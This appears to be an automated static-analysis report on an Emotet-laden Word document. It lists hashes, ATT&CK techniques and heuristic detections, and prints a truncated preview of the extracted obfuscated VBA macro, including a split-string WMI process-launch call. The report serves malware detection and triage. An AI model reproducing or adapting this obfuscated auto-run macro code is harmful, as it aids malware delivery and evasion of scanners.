Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7279c31b5e13aee7…

MALICIOUS

Office (OLE)

288.2 KB Created: 2019-02-18 10:15:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 9be1b45074ab81d156b5e0b4722f1de4 SHA-1: f5c3fa0d31c19db51c89c022bca695a97c7bd00e SHA-256: 7279c31b5e13aee7d9e0240495ab1ea5bc7b141ea5fbc3c1db3ef13e6968bc4e
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1137.001 Office Application Startup: Office Application

The sample contains VBA macros with an AutoOpen function, a common technique for Emotet. Critical heuristics indicate the use of WMI to launch processes and obfuscation of API names like 'winmgmts'. ClamAV also identifies the file as Emotet. The VBA script, though heavily obfuscated, likely attempts to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6861363-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6861363-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52166 bytes
SHA-256: 5a24141b46165d9c20ef41e1fb8aab36567c7e10b63ed9e0e077d0dc0154dcd5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "J7836927"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "K3__0_9"
Function Q_26135()
   If R969070 <> u_47668_ Then
      R__56_0 = (96250033)
    L7_05__7 = k0822_9 * 725736348 + u7201985 + CLng(w61606_)
i9167_ = 624852533 / Hex(L95_9___ / Chr(j0477_ - CDate(653221215)) * 336135081 / 658372251) / j_29_4_ - Fix(27655918)
W4_265__ = (240425586)
End If
   If c255___0 <> H_88__51 Then
      R_4___ = (327343583)
    P6180275 = N_7_808 * 910472076 + j727_6__ + CLng(w9__382)
U5959_5_ = 962449622 / Hex(Q__63_ / Chr(i559_87 - CDate(620323208)) * 38548236 / 646412293) / c31362 - Fix(116467636)
i8_3322 = (904678120)
End If
   If b_97_05_ <> J35_2_ Then
      T9772886 = (316265073)
    j3773342 = j5___5_ * 994209387 + W9_2641 + CLng(w86__6)
k29__75_ = 287310971 / Hex(P4_74_7 / Chr(Q1_25_3 - CDate(993005636)) * 252373984 / 435830395) / t91_798 - Fix(165037700)
G_79_22 = (130517475)
End If
   If i50_004 <> n8944__ Then
      X50678 = (748350334)
    z36_5658 = h_776_ * 615638415 + D48_53_ + CLng(M_21304_)
J4_06715 = 5217535 / Hex(b__27_ / Chr(C_76659 - CDate(170564195)) * 619152673 / 714815817) / Z__963 - Fix(535392577)
M__300_ = (377572701)
End If
   If N70893 <> i__27_ Then
      K__242 = (640269831)
    r1__0_9_ = b4_69_9 * 910427916 + O01965 + CLng(r13_89)
K6__46 = 939911172 / Hex(C57539 / Chr(q93_275_ - CDate(484731141)) * 890546730 / 504562761) / l596_3__ - Fix(48870460)
l8518_06 = (947468235)
End If
   If z361__ <> c_7033 Then
      f_42477 = (250449282)
    j759_52 = w423070_ * 657364126 + J2_9527_ + CLng(o23750_)
H9_7_67_ = 593250741 / Hex(j__2498 / Chr(o_4733 - CDate(104412685)) * 945878929 / 700906862) / t__43392 - Fix(178591256)
t44_142 = (250945710)
End If
   If o5865_76 <> V1__7893 Then
      K34__73 = (536646801)
    K010_9 = q939_82 * 537753872 + Q_962_09 + CLng(Y_0__49)
E__416 = 602892561 / Hex(M__5344 / Chr(p94_689 - CDate(80608639)) * 960235727 / 942103588) / m_67417_ - Fix(603676045)
W255_20 = (422658149)
End If
   If i3_42_8_ <> E450050_ Then
      K1_75387 = (110066282)
    m_20811 = I5_333 * 949491260 + i5_58_9 + CLng(z_71_21)
K_350_6 = 576362040 / Hex(o4247_ / Chr(k7661581 - CDate(45897621)) * 801749007 / 106406446) / H___2560 - Fix(126592608)
u763_0_1 = (323247442)
End If
End Function
Function w_7_0_(b13_0_, d35585)
On Error Resume Next
   If r9__7_ <> j57__60 Then
      w170247 = (773259819)
    P9_4_2_ = j25_0_8 * 131139260 + j8_71_8 + CLng(m67__58)
C9___394 = 659598301 / Hex(m9285_16 / Chr(U5840332 - CDate(521173345)) * 560841025 / 154016721) / E69_8___ - Fix(229265740)
s34_9_42 = (748472625)
End If
   If C___641 <> K94929_ Then
      M8726_ = (657455705)
    c51565 = k876495 * 679640149 + R__7_7 + CLng(T2_6120)
E6_4_58 = 917661997 / Hex(s1_375 / Chr(o6269_ - CDate(755942178)) * 945076564 / 152109427) / c50423 - Fix(260212573)
V9587689 = (429316110)
End If
   If i7495_1 <> X686091 Then
      K__715 = (472557396)
    n80270 = z_006_5 * 8655305 + i__9_66 + CLng(j36_23_)
w6__850 = 115188368 / Hex(p4777__ / Chr(J_50_34 - CDate(181493695)) * 526241481 / 939493216) / i7_146_ - Fix(245892221)
j8__42__ = (999467095)
End If
Set H__700 = GetObject("winmgm" + "ts:Win" + "32_Proce" + "ssStartup")
   If f7_0__ <> L09434_6 Then
      f3_497 = (686367428)
    Q80207_3 = O8945_9 * 173027545 + k_1054 + CLng(U_5_43_)
i__521_ = 481052455 / Hex(w98_57 / Chr(Z71_73 - CDate(513319882)) * 749812153 / 996568670) / M68231 - Fix(278304838)
j_33_350 = (891259447)
End If
   If w9_54_ <> R600__4 Then
      z_592_ = (391768918)
    q056_14_ = U9_585__ * 312064397 + w489__2 + CLng(r7_7__6_)
V__7283 = 503912779 / Hex(J_243_ / Chr(l21272__ - CDate(711696454)) * 324955936 / 407607541) / z70__1_6 - Fix(85418817)
S402694 = (999396750)
End If
   If c6__20_ <> V6_532__ Then
      s3___6 = (758466284)
    Q54490_ = S_3
... (truncated)

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